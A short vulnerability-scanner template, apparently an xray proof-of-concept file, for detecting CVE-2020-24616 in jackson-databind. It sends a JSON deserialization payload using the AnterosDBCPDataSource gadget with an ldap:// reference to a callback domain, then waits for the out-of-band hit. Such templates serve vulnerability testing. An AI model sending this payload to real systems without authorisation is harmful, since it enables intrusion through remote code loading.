fasterxml-jackson-databind-cve-2020-24616.yml

name: poc-yaml-fasterxml-jackson-databind-cve-2020-24616
transport: http
set:
  reverse: newReverse()
  reverseDomain: reverse.domain
rules:
  r0:
    request:
      method: POST
      follow_redirects: false
      headers:
        Content-Type: application/json
      body: |-
        ["br.com.anteros.dbcp.AnterosDBCPDataSource",{"metricRegistry":"ldap://{{reverseDomain}}"}]
    expression: response.status == 200 && reverse.wait(5)
expression: r0()
detail:
  author: Secur1ty0(https://github.com/Secur1ty0)
  links:
    - https://blog.csdn.net/mukami0621/article/details/108447493